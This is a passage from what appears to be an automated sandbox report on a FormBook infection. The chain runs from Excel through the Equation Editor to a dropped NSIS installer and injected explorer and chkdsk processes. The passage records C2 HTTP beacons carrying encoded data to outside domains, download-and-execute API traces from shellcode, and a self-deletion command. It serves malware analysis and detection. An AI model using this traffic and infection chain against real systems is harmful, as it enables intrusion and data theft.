5	192.168.2.22	49169	34.149.87.45	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 14, 2023 13:29:05.883658886 CET	433	OUT	GET /ge06/?6l58L2=0AfOVuqZSJfRN5GiS/+VmpnTwyRml/2OLwKSVYenXKtwNMi61Jg0OdgGHf2AFfl8gIxxQw==&BL3=KP-PB41 HTTP/1.1 Host: www.west-paws.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 14, 2023 13:29:06.066524982 CET	433	IN	HTTP/1.1 429 Too Many Requests Content-Length: 0 Accept-Ranges: bytes Date: Tue, 14 Nov 2023 12:29:05 GMT X-Served-By: cache-bfi-krnt7300100-BFI X-Cache: MISS X-Seen-By: yvSunuo/8ld62ehjr5B7kA== Via: 1.1 google Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.22	49170	206.188.193.211	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 14, 2023 13:29:47.675930977 CET	434	OUT	GET /ge06/?6l58L2=gDpd64bE+Gog2Ub9xNP+FcNZgu7s+BOO8oofSDr/EnD0mt4NGRW6zjQQOpU+sZp484vtJQ==&BL3=KP-PB41 HTTP/1.1 Host: www.miamirealestatecommercial.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 14, 2023 13:29:50.687489986 CET	434	OUT	GET /ge06/?6l58L2=gDpd64bE+Gog2Ub9xNP+FcNZgu7s+BOO8oofSDr/EnD0mt4NGRW6zjQQOpU+sZp484vtJQ==&BL3=KP-PB41 HTTP/1.1 Host: www.miamirealestatecommercial.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
PeekMessageA	INLINE	explorer.exe
PeekMessageW	INLINE	explorer.exe
GetMessageW	INLINE	explorer.exe
GetMessageA	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: USER32.dll

Function Name	Hook Type	New Data
PeekMessageA	INLINE	0x48 0x8B 0xB8 0x86 0x6E 0xE8
PeekMessageW	INLINE	0x48 0x8B 0xB8 0x8E 0xEE 0xE8
GetMessageW	INLINE	0x48 0x8B 0xB8 0x8E 0xEE 0xE8
GetMessageA	INLINE	0x48 0x8B 0xB8 0x86 0x6E 0xE8

Target ID:	0
Start time:	13:26:01
Start date:	14/11/2023
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13f500000
File size:	28'253'536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	13:26:20
Start date:	14/11/2023
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:26:25
Start date:	14/11/2023
Path:	C:\Users\user\AppData\Roaming\word.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\word.exe
Imagebase:	0x400000
File size:	400'516 bytes
MD5 hash:	AFFC03992E31B5D4324B41CBD40D911E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:26:25
Start date:	14/11/2023
Path:	C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe"
Imagebase:	0x400000
File size:	265'216 bytes
MD5 hash:	CF92A3EC74E407574A58BCF121BEC4F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.411942593.0000000000260000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.411942593.0000000000260000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000006.00000002.411942593.0000000000260000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.411942593.0000000000260000.00000004.00001000.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.411942593.0000000000260000.00000004.00001000.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_NSISDropper, Description: Yara detected NSISDropper, Source: 00000006.00000002.411940280.0000000000240000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NSISDropper, Description: Yara detected NSISDropper, Source: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:26:26
Start date:	14/11/2023
Path:	C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe
Imagebase:	0x400000
File size:	265'216 bytes
MD5 hash:	CF92A3EC74E407574A58BCF121BEC4F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.420688853.0000000000430000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.420688853.0000000000430000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000007.00000002.420688853.0000000000430000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.420688853.0000000000430000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.420688853.0000000000430000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.420828073.0000000002280000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.420828073.0000000002280000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000007.00000002.420828073.0000000002280000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.420828073.0000000002280000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.420828073.0000000002280000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:26:27
Start date:	14/11/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0xff2f0000
File size:	3'229'696 bytes
MD5 hash:	38AE1B3C38FAEF56FE4907922F0385BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:26:27
Start date:	14/11/2023
Path:	C:\Windows\SysWOW64\autochk.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\SysWOW64\autochk.exe
Imagebase:	0x840000
File size:	668'160 bytes
MD5 hash:	F88A52EB62019D6A62FDD9E08034DBD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:26:27
Start date:	14/11/2023
Path:	C:\Windows\SysWOW64\chkdsk.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\chkdsk.exe
Imagebase:	0x5e0000
File size:	16'384 bytes
MD5 hash:	A01E18A156825557A24A643A2547AA8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000A.00000002.849613102.0000000000320000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.849613102.0000000000320000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.849613102.0000000000320000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000A.00000002.849613102.0000000000320000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000A.00000002.849613102.0000000000320000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000A.00000002.849597547.00000000002F0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000A.00000002.849597547.00000000002F0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000A.00000002.849597547.00000000002F0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000A.00000002.849597547.00000000002F0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000A.00000002.849597547.00000000002F0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	13:26:31
Start date:	14/11/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del "C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe"
Imagebase:	0x4a330000
File size:	302'592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	53.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	87.5%
Total number of Nodes:	32
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 036BB92B Relevance: 3.1, APIs: 2, Instructions: 145
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32 ref: 036BB939

Part of subcall function 036BB953: URLDownloadToFileW.URLMON(00000000,036BB964,?,00000000,00000000), ref: 036BBA52

Memory Dump Source

Source File: 00000002.00000002.412621027.0000000003640000.00000004.00000020.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3640000_EQNEDT32.jbxd

Similarity

API ID: DownloadFileLibraryLoad
String ID:
API String ID: 2776762486-0
Opcode ID: 443befbf59797b223845273d0ae4ec6a704aaeb0a51e3196c3d5397d435c913e
Instruction ID: edb149d864f430d272956df2a21e35b765f832a398ae652c1318ede1fc24a506
Opcode Fuzzy Hash: 443befbf59797b223845273d0ae4ec6a704aaeb0a51e3196c3d5397d435c913e
Instruction Fuzzy Hash: 8551F2A284C7C56FCB27D7304D7AA91BF706A63104B0DCACED8D60B4A3E399A145CB56

Uniqueness

Uniqueness Score: -1.00%

Function 036BBA9B Relevance: 3.0, APIs: 2, Instructions: 46
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WinExec.KERNEL32(?,00000001,?,036BBA93,?,036BBA59), ref: 036BBAA8

Part of subcall function 036BBABB: ExitProcess.KERNELBASE(00000000,?,036BBAAF,?,036BBA93,?,036BBA59), ref: 036BBAC0

Memory Dump Source

Source File: 00000002.00000002.412621027.0000000003640000.00000004.00000020.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3640000_EQNEDT32.jbxd

Similarity

API ID: ExecExitProcess
String ID:
API String ID: 4112423671-0
Opcode ID: 7b4514c50c6803db6e1acb15a029f5a29cf7c6a0b93d7e4af60678115a653edc
Instruction ID: b448b56ce790a4e4748b08e4fbec74fa40a1b613fa94537d9d2726f66039ad7c
Opcode Fuzzy Hash: 7b4514c50c6803db6e1acb15a029f5a29cf7c6a0b93d7e4af60678115a653edc
Instruction Fuzzy Hash: F6F0FF59D0825261CB34E2288A55BFBAFB0EB41300FCC8857D8910718DDDA880C38F29

Uniqueness

Uniqueness Score: -1.00%

Function 036BB953 Relevance: 1.6, APIs: 1, Instructions: 121
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.412621027.0000000003640000.00000004.00000020.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3640000_EQNEDT32.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: ec886444d13e5bee6bad49637901dafcc41ef756d67cfc4fd1d71d1daf5685e5
Instruction ID: b6aede87fe319bcff610a191534072914997ccc6a974501fa08d140c978b072a
Opcode Fuzzy Hash: ec886444d13e5bee6bad49637901dafcc41ef756d67cfc4fd1d71d1daf5685e5
Instruction Fuzzy Hash: 6441FEA294C7D15FCB23D7304C6AA91BF706E63104B0DCACED4DA0A8A3E3A99141C752

Uniqueness

Uniqueness Score: -1.00%

Function 036BBA50 Relevance: 1.6, APIs: 1, Instructions: 58
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON(00000000,036BB964,?,00000000,00000000), ref: 036BBA52

Memory Dump Source

Source File: 00000002.00000002.412621027.0000000003640000.00000004.00000020.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3640000_EQNEDT32.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: fe65dfc41c474ed7c68a25bdd3244d0e817b4e5dc4d84330f277ae402f48056e
Instruction ID: 84b85d0b8123664f15d8198fe8344fc2beb71cea498876c85127c1291265311e
Opcode Fuzzy Hash: fe65dfc41c474ed7c68a25bdd3244d0e817b4e5dc4d84330f277ae402f48056e
Instruction Fuzzy Hash: 2D114831E48342AAC720E654C951FEBFFB1EB82710F58C45AE5904F1C9E6E0D4C2CB29

Uniqueness

Uniqueness Score: -1.00%

Function 036BBABB Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNELBASE(00000000,?,036BBAAF,?,036BBA93,?,036BBA59), ref: 036BBAC0

Memory Dump Source

Source File: 00000002.00000002.412621027.0000000003640000.00000004.00000020.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3640000_EQNEDT32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: e55ef30ae08b9a015fea4a6ff3e24b8599026409e8cd7a038f7e15e8fa1a622d
Instruction ID: 668c4c00513f67f6b41bdda02c2bbcf49589f0e09e15c7bc31e3afb50709913a
Opcode Fuzzy Hash: e55ef30ae08b9a015fea4a6ff3e24b8599026409e8cd7a038f7e15e8fa1a622d
Instruction Fuzzy Hash: B6D0C730201206DFD200EB10CD80F6BFB7AFFE4210F24C228E4044B209C770E881CBA0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: word.exePID: 2204, Parent PID: 260COMMON

Execution Graph

Execution Coverage:	15.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	22.7%
Total number of Nodes:	1291
Total number of Limit Nodes:	23

Executed Functions

Function 004030FB Relevance: 82.6, APIs: 27, Strings: 20, Instructions: 315
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 00403121
GetVersion.KERNEL32 ref: 00403127
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403150
#17.COMCTL32(0000000B,0000000D), ref: 00403171
OleInitialize.OLE32(00000000), ref: 00403178
SHGetFileInfoA.SHELL32(0041F4F0,00000000,?,00000160,00000000), ref: 00403194
GetCommandLineA.KERNEL32(mrodzekle Setup,NSIS Error), ref: 004031A9
GetModuleHandleA.KERNEL32(00000000,C:\Users\user\AppData\Roaming\word.exe,00000000), ref: 004031BC
CharNextA.USER32(00000000), ref: 004031E7
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\), ref: 0040327E
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 00403293
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040329F
DeleteFileA.KERNELBASE(1033), ref: 004032B6

Part of subcall function 00405F28: GetModuleHandleA.KERNEL32(?,?,?,00403165,0000000D), ref: 00405F3A
Part of subcall function 00405F28: GetProcAddress.KERNEL32(00000000,?,?,?,00403165,0000000D), ref: 00405F55

ExitProcess.KERNELBASE(00000020), ref: 00403332
OleUninitialize.OLE32 ref: 00403337
ExitProcess.KERNEL32 ref: 00403357
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,C:\Users\user\AppData\Roaming\word.exe,00000000,00000020), ref: 0040336A
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,00409148,C:\Users\user\AppData\Local\Temp\,~nsu,C:\Users\user\AppData\Roaming\word.exe,00000000,00000020), ref: 00403379
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,C:\Users\user\AppData\Roaming\word.exe,00000000,00000020), ref: 00403384
lstrcmpiA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Roaming,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,C:\Users\user\AppData\Roaming\word.exe,00000000,00000020), ref: 00403390
SetCurrentDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 004033AC
DeleteFileA.KERNEL32(0041F0F0,0041F0F0,?,00425000,?), ref: 004033F6
CopyFileA.KERNEL32 ref: 0040340A
CloseHandle.KERNEL32(00000000), ref: 00403437
GetCurrentProcess.KERNEL32(00000028,?,00000007,00000006,00000005), ref: 00403490
ExitWindowsEx.USER32(00000002,80040002), ref: 004034E8
ExitProcess.KERNEL32 ref: 0040350B

Strings

SeShutdownPrivilege, xrefs: 004034A2
1033, xrefs: 004032B1
C:\Users\user\AppData\Local\Temp\, xrefs: 00403273, 00403278, 00403292, 0040329E, 00403367, 00403378, 00403383, 0040338F, 0040339C, 004033AB, 0040344B
C:\Users\user\AppData\Local\Temp, xrefs: 00403314
NSIS Error, xrefs: 0040319A
mrodzekle Setup, xrefs: 0040319F
C:\Users\user\AppData\Roaming\word.exe, xrefs: 004031AF, 004031B5, 004032D6
UXTHEME, xrefs: 00403144, 00403149, 0040314F
", xrefs: 00403209
/D=, xrefs: 00403241
.tmp, xrefs: 0040337E
C:\Users\user\AppData\Local\Temp, xrefs: 00403269, 00403309, 004033B2, 004033BB
C:\Users\user\AppData\Roaming\word.exe, xrefs: 00403405
, xrefs: 0040311C
NCRC, xrefs: 00403229
Error launching installer, xrefs: 004032EF
_?=, xrefs: 004032E0
~nsu, xrefs: 00403362
C:\Users\user\AppData\Roaming, xrefs: 00403389, 0040338E, 004033BA
\Temp, xrefs: 00403299

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: ExitFileProcesslstrcat$Handle$CurrentDeleteDirectoryModuleWindows$AddressCharCloseCommandCopyErrorInfoInitializeLineModeNextPathProcTempUninitializeVersionlstrcmpilstrlen
String ID: $ /D=$ _?=$"$.tmp$1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming$C:\Users\user\AppData\Roaming\word.exe$C:\Users\user\AppData\Roaming\word.exe$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$UXTHEME$\Temp$mrodzekle Setup$~nsu
API String ID: 1031542678-1864608781
Opcode ID: 8f74911709186bddaf2cccf0b89ea8509ed7bd73a7a07ba236b5c5ff12a0dd9f
Instruction ID: 90ec7ab760c3480979c70ff1213755fd4c015a14bcf9795d8db5e914811e335b
Opcode Fuzzy Hash: 8f74911709186bddaf2cccf0b89ea8509ed7bd73a7a07ba236b5c5ff12a0dd9f
Instruction Fuzzy Hash: E5A10470A083016BE7216F619C4AB2B7EACEB0170AF40457FF544B61D2C77CAA458B6F

Uniqueness

Uniqueness Score: -1.00%

Function 004054BD Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 156
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,?), ref: 004054DB
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsiB4B1.tmp\*.*,\*.*,C:\Users\user\AppData\Local\Temp\nsiB4B1.tmp\*.*,?,00000000,?,C:\Users\user\AppData\Local\Temp\,?), ref: 00405525
lstrcatA.KERNEL32(?,00409010,?,C:\Users\user\AppData\Local\Temp\nsiB4B1.tmp\*.*,?,00000000,?,C:\Users\user\AppData\Local\Temp\,?), ref: 00405546
lstrlenA.KERNEL32(?,?,00409010,?,C:\Users\user\AppData\Local\Temp\nsiB4B1.tmp\*.*,?,00000000,?,C:\Users\user\AppData\Local\Temp\,?), ref: 0040554C
FindFirstFileA.KERNELBASE(C:\Users\user\AppData\Local\Temp\nsiB4B1.tmp\*.*,?,?,?,00409010,?,C:\Users\user\AppData\Local\Temp\nsiB4B1.tmp\*.*,?,00000000,?,C:\Users\user\AppData\Local\Temp\,?), ref: 0040555D
FindNextFileA.KERNELBASE(?,00000010,000000F2,?), ref: 0040560F
FindClose.KERNELBASE(?), ref: 00405620

Strings

\*.*, xrefs: 0040551F
C:\Users\user\AppData\Local\Temp\nsiB4B1.tmp\*.*, xrefs: 0040550F, 00405515, 00405524, 0040555A
C:\Users\user\AppData\Local\Temp\, xrefs: 004054C7
C:\Users\user\AppData\Roaming\word.exe, xrefs: 004054BD

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nsiB4B1.tmp\*.*$C:\Users\user\AppData\Roaming\word.exe$\*.*
API String ID: 2035342205-1417842008
Opcode ID: 6e39d08db0da8798d4da0934d55880c8f60954caf57b81e1320f45a4632593a2
Instruction ID: 6fea787f5ff7f663b03802bfccf250d7b0f6b6b9ddff8139893414afbc0e0c0d
Opcode Fuzzy Hash: 6e39d08db0da8798d4da0934d55880c8f60954caf57b81e1320f45a4632593a2
Instruction Fuzzy Hash: D851CE30804A447ACB216B218C49BBF3B78DF92728F54857BF809751D2E73D5982DE5E

Uniqueness

Uniqueness Score: -1.00%

Function 004061D4 Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.415620868.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.415617748.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415624203.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415627380.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.415641916.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a16ca79695306fc73f85128c7aced9bd30f9fee4c2e10d2154f2b02c59f7427
Instruction ID: bc715f9ab80968e75e2fbed037c5f1c5951903de2449374fee89636cff417fa3
Opcode Fuzzy Hash: 1a16ca79695306fc73f85128c7aced9bd30f9fee4c2e10d2154f2b02c59f7427
Instruction Fuzzy Hash: 52F18571D00229CBCF28DFA8C8946ADBBB1FF45305F25816ED856BB281D3785A96CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00405E93 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

